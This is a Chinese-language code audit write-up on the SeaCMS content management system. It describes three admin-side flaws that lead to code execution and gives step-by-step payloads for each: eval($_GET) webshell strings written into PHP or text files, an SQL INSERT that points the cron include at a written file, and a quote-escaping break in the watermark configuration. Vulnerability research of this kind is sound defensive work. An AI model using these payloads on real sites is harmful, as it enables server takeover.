Seacms代码审计小结
字数 1208 2025-08-05 08:17:55
SeaCMS代码审计与漏洞利用分析
前言
本文对SeaCMS内容管理系统进行了详细的代码审计,发现了多个安全漏洞,包括文件写入、文件包含和防护过当导致的代码执行漏洞。SeaCMS是一个开源的内容管理系统,最新源码可从以下地址下载:SeaCMS源码。
基本利用 - 文件写入漏洞
漏洞位置
admin/admin_ip.php文件中存在无过滤的POST参数传递,导致可写入任意PHP代码。
漏洞分析
- 该文件直接使用POST参数写入
data/admin/ip.php文件 - 框架在
include/filter.inc.php中有过滤函数,但此处未使用 - 写入的文件是
.php扩展名,可直接执行
利用步骤
- 登录SeaCMS后台
- 访问
http://[目标IP]/admin_ip.php - 写入恶意代码:
127.0.0.1";eval($_GET[1]);# - 保存配置后,访问
data/admin/ip.php?1=phpinfo();即可执行代码
进阶利用 - 文件包含+文件写入组合利用
文件包含漏洞
- 在
sea_crons表的filename字段可控 - 包含时未对
$filename变量进行有效过滤 - 可通过SQL注入或后台SQL高级助手控制该字段
文件写入点
admin_s.php可写入data/admin/s.txt文件
组合利用步骤
- 访问
http://[目标IP]/admin_s.php - 写入内容:
style="width:50px;text-transform:uppercase;"<?=eval($_GET[1]); - 使用SQL高级助手执行:
INSERT INTO sea_crons (cronid,available,type,name,filename,lastrun,nextrun,weekday,day,hour,minute) VALUES (3,3,'a','name','../../data/admin/s.txt',1,1,2,2,3,3) - 访问
admin_cron.php执行任务,抓包可见代码执行结果
防护过当导致的漏洞
漏洞位置
admin/admin_config_mark.php文件中的参数处理逻辑
漏洞原理
- 框架使用
addslashes()函数转义单引号('变为\') - 然后使用
str_replace()删除所有单引号(\'变为\) - 导致字符串拼接时转义后续引号,破坏原有代码结构
利用步骤
- 访问图片水印设置页面
- 在"水印图片文字"字段输入:
www.seacms.net' - 在其他字段输入:
;eval($_GET[9]);# - 提交后,文件内容变为:
$photo_watertext = 'www.seacms.net\'; $photo_fontsize = ';eval($_GET[9]);#'; - 访问
admin_config_mark.php?9=phpinfo();执行代码
总结
SeaCMS中存在多处安全漏洞,主要分为三类:
- 直接文件写入导致代码执行
- 文件包含+可控文件写入的组合利用
- 防护措施不当导致的代码执行
开发人员应当:
- 对所有用户输入进行严格过滤
- 避免直接使用用户输入拼接文件内容
- 谨慎处理字符串转义和替换操作
- 限制后台高危功能(如SQL执行)的权限
安全研究人员可参考本文方法进行漏洞挖掘和验证,但请遵守法律法规,仅在授权范围内进行测试。